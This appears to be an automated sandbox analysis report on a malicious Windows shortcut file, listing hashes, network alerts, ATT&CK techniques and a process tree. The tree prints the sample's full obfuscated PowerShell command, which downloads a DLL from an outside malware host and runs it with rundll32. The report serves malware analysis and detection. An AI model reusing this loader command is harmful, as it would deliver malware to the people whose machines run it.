a626b427774cdb1cb0160311fb83cf870e9eae6ea97423c22d4e7ceb574136a3

Analysis

max time kernel
123s
max time network
132s
platform
windows10_x64
resource
win10-en-20211208
submitted
30/12/2021, 09:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
007209a6158ba4b1562e20533eff706f.lnk
Size 2KB
Sample211230-kzsg9secdm
SHA256 a626b427774cdb1cb0160311fb83cf870e9eae6ea97423c22d4e7ceb574136a3
MD5 007209a6158ba4b1562e20533eff706f
SHA1 93cd75de468f9ff69870982c29d76cea6fdd9143
SHA512 af6f224432ca724936a088d8a35dd3cadefe87b542bfce54df384c1a141e06df164409e50c60a2e8bd70b2525a289a55ba2a3dc9048dc3d9bc20fcee1828d9b4
MD5 SHA1 SHA512

Score

10^/10

suricata

Malware Config

Signatures

suricata: ET MALWARE Possible Windows executable sent when remote host claims to send html content
suricata: ET MALWARE Possible Windows executable sent when remote host claims to send html content
suricata

Blocklisted process makes network request 5 IoCs

flow	pid	Process
30	1336	rundll32.exe
32	1336	rundll32.exe
34	1336	rundll32.exe
36	1336	rundll32.exe
37	1336	rundll32.exe

Downloads MZ/PE file
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3868	powershell.exe
3868	powershell.exe
3868	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3868	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2532 wrote to memory of 3880	2532	cmd.exe	69
PID 2532 wrote to memory of 3880	2532	cmd.exe	69
PID 3880 wrote to memory of 3868	3880	cmd.exe	70
PID 3880 wrote to memory of 3868	3880	cmd.exe	70
PID 3880 wrote to memory of 4072	3880	cmd.exe	71
PID 3880 wrote to memory of 4072	3880	cmd.exe	71
PID 4072 wrote to memory of 1336	4072	cmd.exe	72
PID 4072 wrote to memory of 1336	4072	cmd.exe	72

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\007209a6158ba4b1562e20533eff706f.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" \cmd.exe /k powershell -command "$h1='e';&('i' + $h1 + 'x')('Import-Modul' + $h1 + ' BitsTransf' + $h1 + 'r;Start-BitsTransf' + $h1 + 'r http://daycre.com/4/j.dll $env:t' + $h1 + 'mp\i.dll;')" & C:\Windows\system32\cmd.exe /c start rundll32 C:\Users\Admin\AppData\Local\Temp\i.dll,frete
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3880
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "$h1='e';&('i' + $h1 + 'x')('Import-Modul' + $h1 + ' BitsTransf' + $h1 + 'r;Start-BitsTransf' + $h1 + 'r http://daycre.com/4/j.dll $env:t' + $h1 + 'mp\i.dll;')"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3868
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c start rundll32 C:\Users\Admin\AppData\Local\Temp\i.dll,frete
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4072
  - - C:\Windows\system32\rundll32.exe
      rundll32 C:\Users\Admin\AppData\Local\Temp\i.dll,frete
      4⤵
      Blocklisted process makes network request
      PID:1336

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Users\Admin\AppData\Local\Temp\i.dll,frete {538E5227-E905-4C44-8360-E8FDE3998588}
1⤵
PID:2408

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/3868-127-0x0000018DEBE60000-0x0000018DEBED6000-memory.dmp

Download

memory/3868-124-0x0000018DD1580000-0x0000018DD1582000-memory.dmp

Download

memory/3868-119-0x0000018DD1580000-0x0000018DD1582000-memory.dmp

Download

memory/3868-118-0x0000018DD1580000-0x0000018DD1582000-memory.dmp

Download

memory/3868-120-0x0000018DD1580000-0x0000018DD1582000-memory.dmp

Download

memory/3868-121-0x0000018DD1580000-0x0000018DD1582000-memory.dmp

Download

memory/3868-122-0x0000018DD1BD0000-0x0000018DD1BF2000-memory.dmp

Download

memory/3868-128-0x0000018DD1A50000-0x0000018DD1A52000-memory.dmp

Download

memory/3868-254-0x0000018DD1A58000-0x0000018DD1A59000-memory.dmp

Download

memory/3868-125-0x0000018DD1580000-0x0000018DD1582000-memory.dmp

Download

memory/3868-117-0x0000018DD1580000-0x0000018DD1582000-memory.dmp

Download

memory/3868-126-0x0000018DD1580000-0x0000018DD1582000-memory.dmp

Download

memory/3868-123-0x0000018DD1580000-0x0000018DD1582000-memory.dmp

Download

memory/3868-129-0x0000018DD1A53000-0x0000018DD1A55000-memory.dmp

Download

memory/3868-130-0x0000018DD1580000-0x0000018DD1582000-memory.dmp

Download

memory/3868-136-0x0000018DD1580000-0x0000018DD1582000-memory.dmp

Download

memory/3868-137-0x0000018DD1580000-0x0000018DD1582000-memory.dmp

Download

memory/3868-203-0x0000018DEBE00000-0x0000018DEBE22000-memory.dmp

Download

memory/3868-242-0x0000018DEBFE0000-0x0000018DEBFF2000-memory.dmp

Download

memory/3868-249-0x0000018DD1A56000-0x0000018DD1A58000-memory.dmp

Download